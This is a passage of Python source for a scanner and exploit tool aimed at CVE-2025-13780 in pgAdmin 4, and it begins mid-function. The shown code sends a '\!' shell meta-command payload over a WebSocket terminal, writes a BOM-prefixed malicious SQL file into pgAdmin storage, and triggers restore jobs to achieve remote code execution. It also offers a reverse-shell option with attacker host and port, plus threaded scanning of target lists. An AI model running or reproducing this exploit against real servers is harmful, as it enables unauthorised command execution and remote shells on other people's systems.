f"\\! {payload_cmd}\n" sio.emit('socket_input', {'input': exploit_cmd}, namespace='/pty') self.log("Exploit command sent!", "success") time.sleep(2) sio.disconnect() return True except Exception as e: self.debug(f"WebSocket error: {e}") self.log("WebSocket connection failed, trying HTTP fallback...", "warning") return self._exploit_http_fallback(server_id, db_name, payload_cmd) def _exploit_trigger_restore(self, server_id, db_id, db_name, filename): """Trigger the Restore job via API to execute the payload""" self.log(f"Attempting to trigger Restore job via API...", "info") endpoints = [ f"{self.base_url}/restore/job/{server_id}", f"{self.base_url}/tools/restore/job/{server_id}", ] headers = { "X-pgA-CSRFToken": self.csrf_token, "Referer": f"{self.base_url}/browser/", "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json" } import os filenames_to_try = [ filename, os.path.basename(filename), "/" + os.path.basename(filename) ] for endpoint in endpoints: for fname in filenames_to_try: data = { "file": fname, "filename": fname, "format": "p", "verbose": True, "role": "user", "database": db_name, "general": { "filename": fname, "format": "p", "verbose": True, "role": "user", "database": db_name }, "type": "restore", "db_id": int(db_id), "server_id": int(server_id) } try: self.debug(f"POST {endpoint} with filename={fname}") r = self.session.post(endpoint, json=data, headers=headers, timeout=self.timeout) self.debug(f"Restore response ({endpoint}): {r.status_code}") if r.status_code == 200: resp = r.json() if resp.get('success'): job_id = resp.get('data', {}).get('job_id') self.log(f"Restore job started successfully via {endpoint} with file {fname}! (Job ID: {job_id})", "success") self.log("RCE payload should be executing now...", "success") return True else: self.debug(f"Restore job creation failed logic: {resp.get('errormsg')}") elif r.status_code != 404 and r.status_code != 405: self.debug(f"Endpoint {endpoint} returned {r.status_code}") except Exception as e: self.debug(f"Error triggering restore job on {endpoint}: {str(e)}") self.log("Could not trigger restore job via any known API endpoint", "error") return False def _exploit_http_fallback(self, server_id, db_id, payload_cmd): """Fallback: Write payload file and trigger via restore""" import subprocess self.log("Attempting HTTP fallback method...", "info") storage_path = f"/var/lib/pgadmin/storage/{self.email.replace('@', '_')}" filename = "exploit_rce.sql" containers = ["cve-2025-13780-pgadmin-1", "pgadmin4", "pgadmin"] payload_written = False for cname in containers: try: safe_cmd = payload_cmd.replace("'", "'\"'\"'") cmd_write = f"echo -e '\\xef\\xbb\\xbf\\\\! {safe_cmd}' > {storage_path}/{filename}" result = subprocess.run(["podman", "exec", cname, "sh", "-c", cmd_write], capture_output=True, text=True, timeout=5) self.debug(f"Write result: {result.returncode}, stderr: {result.stderr}") if result.returncode == 0: self.log(f"Payload written to: {storage_path}/{filename}", "success") payload_written = True break except Exception as e: self.debug(f"Podman failed: {e}") try: result = subprocess.run(["docker", "exec", cname, "sh", "-c", cmd_write], capture_output=True, text=True, timeout=5) if result.returncode == 0: self.log(f"Payload written to: {storage_path}/{filename}", "success") payload_written = True break except: continue if payload_written: full_path = f"{storage_path}/{filename}" real_db_id = self._get_database_id(server_id) if self._exploit_trigger_restore(server_id, real_db_id, db_id, full_path): return True server_name = "exploit_server_..." if RICH_AVAILABLE: console.print("\n[bold yellow]━━━ MANUAL TRIGGER REQUIRED ━━━[/bold yellow]") console.print("[bold white]To execute the exploit:[/bold white]") console.print(f"[cyan]1.[/cyan] Open pgAdmin: [green]{self.base_url}[/green]") console.print(f"[cyan]2.[/cyan] [bold]Refresh[/bold] the page to see the new server.") console.print(f"[cyan]3.[/cyan] Expand [yellow]Servers[/yellow] -> [yellow]Group 1[/yellow] -> [yellow]exploit_server_...[/yellow]") console.print(f"[cyan]4.[/cyan] Enter password [bold]password[/bold] if prompted.") console.print(f"[cyan]5.[/cyan] [bold red]CLICK ON[/bold red] database [yellow]cve2025-13780[/yellow] (or postgres).") console.print(f"[cyan]6.[/cyan] Navigate to: [yellow]Tools → PSQL Tool[/yellow] (Top Menu)") console.print(f"[cyan]7.[/cyan] Run command: [bold green]\\i {storage_path}/{filename}[/bold green]") console.print("") console.print(f"[dim]Or execute directly:[/dim] [cyan]\\! {payload_cmd}[/cyan]") else: self.log("MANUAL TRIGGER REQUIRED:", "warning") self.log(f"1. Open pgAdmin: {self.base_url}", "info") self.log("2. Refresh page, Expand Servers -> Group 1 -> exploit_server_...", "info") self.log("3. CLICK ON database 'cve2025-13780'", "info") self.log("4. Navigate to: Tools -> PSQL Tool", "info") self.log(f"5. Run: \\i {storage_path}/{filename}", "success") return True self.log("Could not write payload", "error") return False def print_report(self): """Print scan report with Rich formatting""" if RICH_AVAILABLE: self._print_rich_report() else: self._print_basic_report() def _print_rich_report(self): """Print Rich-formatted scan report""" console.print() if self.scan_result.get("vulnerable"): header_panel = Panel( Text("⚠️ VULNERABILITY DETECTED ⚠️", style="bold white", justify="center"), style="bold red", box=DOUBLE, padding=(1, 2) ) else: header_panel = Panel( Text("✅ SCAN COMPLETE ✅", style="bold white", justify="center"), style="bold green", box=DOUBLE, padding=(1, 2) ) console.print(header_panel) info_table = Table( title="📊 Scan Results", title_style="bold cyan", box=box.ROUNDED, show_header=True, header_style="bold magenta", border_style="cyan" ) info_table.add_column("Property", style="cyan", width=25) info_table.add_column("Value", style="white", width=40) info_table.add_row("🎯 Target", self.base_url) info_table.add_row("📌 Version", self.scan_result.get('version') or 'Unknown') info_table.add_row("🔍 Is pgAdmin", "✅ Yes" if self.scan_result.get('is_pgadmin') else "❌ No") info_table.add_row( "🔓 Authenticated", "✅ Yes" if self.scan_result.get('authenticated') else "❌ No" ) version_vuln = self.scan_result.get('version_vulnerable') if version_vuln: info_table.add_row("⚠️ Version Vulnerable", "[red]Yes (<= 8.14)[/red]") elif version_vuln is False: info_table.add_row("✅ Version Vulnerable", "[green]No (> 8.14)[/green]") else: info_table.add_row("❓ Version Vulnerable", "[yellow]Unknown[/yellow]") info_table.add_row( "⏱️ Scan Duration", f"{self.scan_result.get('scan_duration', 0):.2f} seconds" ) confidence_score = self.scan_result.get('confidence_score', 0) confidence_max = self.scan_result.get('confidence_max', 100) confidence_level = self.scan_result.get('confidence_level', 'unknown') if confidence_score >= 70: score_style = "red" elif confidence_score >= 50: score_style = "yellow" else: score_style = "green" info_table.add_row( "📈 Confidence Score", f"[{score_style}]{confidence_score}/{confidence_max} ({confidence_level})[/{score_style}]" ) status = self.scan_result.get('status', 'unknown') status_display = { "vulnerable": "[bold red]⚠️ VULNERABLE[/bold red]", "likely_vulnerable": "[red]🔶 LIKELY VULNERABLE[/red]", "possibly_vulnerable": "[yellow]⚡ POSSIBLY VULNERABLE[/yellow]", "not_vulnerable": "[bold green]✅ NOT VULNERABLE[/bold green]", "unknown": "[dim]❓ UNKNOWN[/dim]" } info_table.add_row("🎯 Status", status_display.get(status, status)) console.print(info_table) console.print() factors = self.scan_result.get("confidence_factors", []) if factors: factors_table = Table( title="🔬 Confidence Factors", title_style="bold magenta", box=box.ROUNDED, show_header=True, header_style="bold white", border_style="magenta" ) factors_table.add_column("Factor", style="cyan", width=40) factors_table.add_column("Score", style="white", width=10) for factor_name, factor_score in factors: if factor_score > 0: score_text = f"[green]+{factor_score}[/green]" else: score_text = f"[dim]{factor_score}[/dim]" factors_table.add_row(factor_name, score_text) console.print(factors_table) console.print() bypass_tests = self.scan_result.get("bypass_tests", {}) if bypass_tests: bypass_table = Table( title="🔓 Regex Bypass Tests", title_style="bold yellow", box=box.ROUNDED, show_header=True, header_style="bold magenta", border_style="yellow" ) bypass_table.add_column("Test Name", style="cyan", width=20) bypass_table.add_column("Status", style="white", width=15) bypass_table.add_column("Bypassed", style="white", width=15) for test_name, result in bypass_tests.items(): if "error" in result: status = "[red]ERROR[/red]" bypassed = f"[red]{result['error'][:20]}...[/red]" else: if result.get('bypassed'): status = "[green]✅ Success[/green]" bypassed = "[red]⚠️ YES[/red]" else: status = "[yellow]⚡ Blocked[/yellow]" bypassed = "[green]NO[/green]" bypass_table.add_row(test_name, status, bypassed) console.print(bypass_table) console.print() endpoints = self.scan_result.get("endpoints", []) if endpoints: endpoint_table = Table( title="🌐 Detected Endpoints", title_style="bold blue", box=box.ROUNDED, show_header=True, header_style="bold magenta", border_style="blue" ) endpoint_table.add_column("Endpoint", style="cyan", width=30) endpoint_table.add_column("Status Code", style="white", width=15) for endpoint, status_code in endpoints: status_style = "green" if status_code == 200 else "yellow" endpoint_table.add_row(endpoint, f"[{status_style}]{status_code}[/{status_style}]") console.print(endpoint_table) console.print() if self.scan_result.get("vulnerable"): vuln_content = Text() vuln_content.append("🚨 The target appears to be VULNERABLE to CVE-2025-13780!\n\n", style="bold red") vuln_content.append("📋 Exploitation Steps:\n", style="bold yellow") vuln_content.append(" 1. Upload malicious SQL file with BOM prefix or CRLF injection\n", style="white") vuln_content.append(" 2. Trigger the restore functionality\n", style="white") vuln_content.append(" 3. The \\! meta-command will execute shell commands\n\n", style="white") vuln_content.append("🛡️ Remediation:\n", style="bold green") vuln_content.append(" • Upgrade pgAdmin 4 to version > 8.14\n", style="white") vuln_content.append(" • Restrict access to pgAdmin interface\n", style="white") vuln_content.append(" • Monitor for suspicious .sql file uploads\n", style="white") console.print(Panel( vuln_content, title="[bold red]⚠️ VULNERABILITY DETAILS[/bold red]", border_style="red", box=HEAVY, padding=(1, 2) )) else: if self.scan_result.get("error"): console.print(Panel( f"[yellow]Error: {self.scan_result.get('error')}[/yellow]", title="[bold yellow]⚠️ Scan Error[/bold yellow]", border_style="yellow", box=ROUNDED, padding=(1, 2) )) else: console.print(Panel( "[bold green]✅ The target does not appear to be vulnerable to CVE-2025-13780[/bold green]", title="[bold green]🛡️ SECURE[/bold green]", border_style="green", box=ROUNDED, padding=(1, 2) )) def _print_basic_report(self): """Print basic scan report (fallback when Rich is not available)""" print() print("=" * 60) print("SCAN RESULTS") print("=" * 60) if self.scan_result.get("vulnerable"): print_status(f"Target: {self.base_url}", "vuln") print() print("The target appears to be VULNERABLE to CVE-2025-13780!") print() print("Vulnerability Details:") print(f" - Version: {self.scan_result.get('version', 'Unknown')}") print(f" - Version Affected: {'Yes' if self.scan_result.get('version_vulnerable') else 'Unknown'}") bypass_tests = self.scan_result.get("bypass_tests", {}) print(f" - BOM Bypass Works: {'Yes' if bypass_tests.get('BOM bypass', {}).get('bypassed') else 'No'}") print(f" - CRLF Bypass Works: {'Yes' if bypass_tests.get('CRLF bypass', {}).get('bypassed') else 'No'}") print() print("Exploitation:") print(" 1. Upload malicious SQL file with BOM prefix or CRLF injection") print(" 2. Trigger the restore functionality") print(" 3. The \\! meta-command will execute shell commands") print() print("Remediation:") print(" - Upgrade pgAdmin 4 to version > 8.14") else: print_status(f"Target: {self.base_url}", "safe") print() if self.scan_result.get("error"): print(f"Error: {self.scan_result.get('error')}") else: print("The target does not appear to be vulnerable.") def load_targets_from_file(filepath): """Load target URLs from a file""" targets = [] try: with open(filepath, 'r') as f: for line in f: line = line.strip() if line and not line.startswith('#'): if not line.startswith('http://') and not line.startswith('https://'): line = f"http://{line}" targets.append(line) except FileNotFoundError: print_status(f"File not found: {filepath}", "error") sys.exit(1) except Exception as e: print_status(f"Error reading file: {e}", "error") sys.exit(1) return targets def scan_single_target(args_tuple): """Scan a single target (for threading)""" target, email, password, timeout, verbose, quiet = args_tuple scanner = PgAdminScanner( base_url=target, email=email, password=password, timeout=timeout, verbose=verbose, quiet=quiet ) return scanner.scan() def print_summary(targets, all_results, vulnerable_count): """Print summary with Rich formatting""" if RICH_AVAILABLE: console.print() summary_table = Table( title="📈 Scan Summary", title_style="bold cyan", box=box.DOUBLE, show_header=True, header_style="bold white", border_style="cyan" ) summary_table.add_column("Metric", style="cyan", width=25) summary_table.add_column("Value", style="white", width=20) summary_table.add_row("Total Targets", str(len(targets))) summary_table.add_row("Vulnerable", f"[bold red]{vulnerable_count}[/bold red]") summary_table.add_row("Not Vulnerable", f"[bold green]{len(all_results) - vulnerable_count}[/bold green]") console.print(summary_table) if all_results: console.print() results_table = Table( title="📋 Detailed Results", title_style="bold yellow", box=box.ROUNDED, show_header=True, header_style="bold magenta", border_style="yellow" ) results_table.add_column("#", style="dim", width=4) results_table.add_column("Target", style="cyan", width=32) results_table.add_column("Ver", style="white", width=6) results_table.add_column("Score", style="white", width=8) results_table.add_column("Status", style="white", width=22) for idx, result in enumerate(all_results, 1): target = result.get("target", "Unknown") version = result.get("version", "N/A") or "N/A" confidence = result.get("confidence_score", 0) status_code = result.get("status", "unknown") if confidence >= 70: score_text = f"[red]{confidence}[/red]" elif confidence >= 50: score_text = f"[yellow]{confidence}[/yellow]" else: score_text = f"[green]{confidence}[/green]" status_display = { "vulnerable": "[bold red]⚠️ VULNERABLE[/bold red]", "likely_vulnerable": "[red]🔶 LIKELY VULN[/red]", "possibly_vulnerable": "[yellow]⚡ POSSIBLY[/yellow]", "not_vulnerable": "[green]✅ SECURE[/green]", "error": f"[dim]❌ ERROR[/dim]", "unknown": "[dim]❓ UNKNOWN[/dim]" } if result.get("error"): status = f"[dim]❌ {result.get('error')[:12]}...[/dim]" else: status = status_display.get(status_code, status_code) results_table.add_row(str(idx), target, version, score_text, status) console.print(results_table) else: print() print("=" * 60) print("SCAN SUMMARY") print("=" * 60) print(f"Total Targets: {len(targets)}") print(f"Vulnerable: {vulnerable_count}") print(f"Not Vulnerable: {len(all_results) - vulnerable_count}") def main(): parser = argparse.ArgumentParser( description="CVE-2025-13780 pgAdmin 4 Vulnerability Scanner", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 scanner.py http://localhost:5050 python3 scanner.py -f targets.txt python3 scanner.py -f targets.txt -o results.json --json python3 scanner.py http://target:5050 --email admin@cve2025-13780.com --password admin python3 scanner.py http://target:5050 -v --timeout 30 """ ) target_group = parser.add_mutually_exclusive_group(required=True) target_group.add_argument("target", nargs='?', help="Target URL (e.g., http://localhost:5050)") target_group.add_argument("-f", "--file", help="File containing list of targets (one per line)") parser.add_argument("-e", "--email", help="pgAdmin email for authentication") parser.add_argument("-p", "--password", help="pgAdmin password for authentication") parser.add_argument("-o", "--output", help="Output file for results") parser.add_argument("--json", action="store_true", help="Output results in JSON format") parser.add_argument("-q", "--quiet", action="store_true", help="Suppress banner and info messages") parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose/debug output") parser.add_argument("-t", "--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)") parser.add_argument("--threads", type=int, default=5, help="Number of threads for multi-target scanning (default: 5)") parser.add_argument("--exploit-demo", action="store_true", help="Run exploit demonstration") parser.add_argument("--exploit", action="store_true", help="Execute real exploit (requires --lhost)") parser.add_argument("--lhost", help="Attacker IP for reverse shell callback") parser.add_argument("--lport", type=int, default=4444, help="Attacker port (default: 4444)") parser.add_argument("--cmd", help="Custom command to execute (optional)") args = parser.parse_args() if not args.quiet and not args.json: print_banner() if args.file: targets = load_targets_from_file(args.file) if not targets: print_status("No valid targets found in file", "error") sys.exit(1) print_status(f"Loaded {len(targets)} targets from {args.file}") else: targets = [args.target] if args.exploit_demo: scanner = PgAdminScanner( base_url=targets[0], email=args.email, password=args.password, timeout=args.timeout, verbose=args.verbose, quiet=args.quiet ) scanner.exploit_demo() sys.exit(0) if args.exploit: if not args.lhost and not args.cmd: print_status("--exploit requires --lhost or --cmd", "error") sys.exit(1) if not args.email or not args.password: print_status("--exploit requires -e EMAIL and -p PASSWORD", "error") sys.exit(1) scanner = PgAdminScanner( base_url=targets[0], email=args.email, password=args.password, timeout=args.timeout, verbose=args.verbose, quiet=args.quiet ) success = scanner.exploit( lhost=args.lhost or "127.0.0.1", lport=args.lport, cmd=args.cmd ) sys.exit(0 if success else 1) all_results = [] vulnerable_count = 0 if len(targets) == 1: scanner = PgAdminScanner( base_url=targets[0], email=args.email, password=args.password, timeout=args.timeout, verbose=args.verbose, quiet=args.quiet ) result = scanner.scan() all_results.append(result) if not args.json: scanner.print_report() if result.get("vulnerable"): vulnerable_count = 1 else: if RICH_AVAILABLE and not args.quiet: console.print() console.print(Panel( f"[bold cyan]Scanning {len(targets)} targets with {args.threads} threads[/bold cyan]", title="🔄 Multi-Target Scan", border_style="cyan", box=ROUNDED )) console.print() else: print_status(f"Scanning {len(targets)} targets with {args.threads} threads") print() scan_args = [ (target, args.email, args.password, args.timeout, args.verbose, True) for target in targets ] if RICH_AVAILABLE: with Progress( SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TaskProgressColumn(), console=console ) as progress: task = progress.add_task("[cyan]Scanning targets...", total=len(targets)) with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = {executor.submit(scan_single_target, arg): arg[0] for arg in scan_args} for future in as_completed(futures): target = futures[future] try: result = future.result() all_results.append(result) if result.get("vulnerable"): vulnerable_count += 1 console.print(f"[bold red][VULNERABLE][/bold red] {target}") elif result.get("error"): console.print(f"[yellow][ERROR][/yellow] {target} - {result.get('error')}") else: console.print(f"[bold green][SECURE][/bold green] {target}") progress.update(task, advance=1) except Exception as e: console.print(f"[red][EXCEPTION][/red] {target} - {str(e)}") progress.update(task, advance=1) else: with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = {executor.submit(scan_single_target, arg): arg[0] for arg in scan_args} for future in as_completed(futures): target = futures[future] try: result = future.result() all_results.append(result) if result.get("vulnerable"): vulnerable_count += 1 print_status(f"{target} - VULNERABLE", "vuln") elif result.get("error"): print_status(f"{target} - ERROR: {result.get('error')}", "error") else: print_status(f"{target} - Not Vulnerable", "safe") except Exception as e: print_status(f"{target} - Exception: {str(e)}", "error") print_summary(targets, all_results, vulnerable_count) if args.json or args.output: output_data = { "scan_info": { "scanner": "CVE-2025-13780 Scanner", "version": "1.0", "timestamp": datetime.now().isoformat(), "total_targets": len(targets), "vulnerable_count": vulnerable_count }, "results": all_results } if args.json and not args.output: print(json.dumps(output_data, indent=2)) if args.output: try: output_path = os.path.abspath(args.output) output_dir = os.path.dirname(output_path) if output_dir and not os.path.exists(output_dir): print_status(f"Output directory does not exist: {output_dir}", "error") sys.exit(1) with open(output_path, 'w') as f: json.dump(output_data, f, indent=2) if not args.quiet: print_status(f"Results saved to {output_path}", "success") except Exception as e: print_status(f"Failed to write results to {args.output}: {str(e)}", "error") sys.exit(1) if vulnerable_count > 0: sys.exit(1) elif any(r.get("error") for r in all_results): sys.exit(2) else: sys.exit(0) if __name__ == "__main__": main()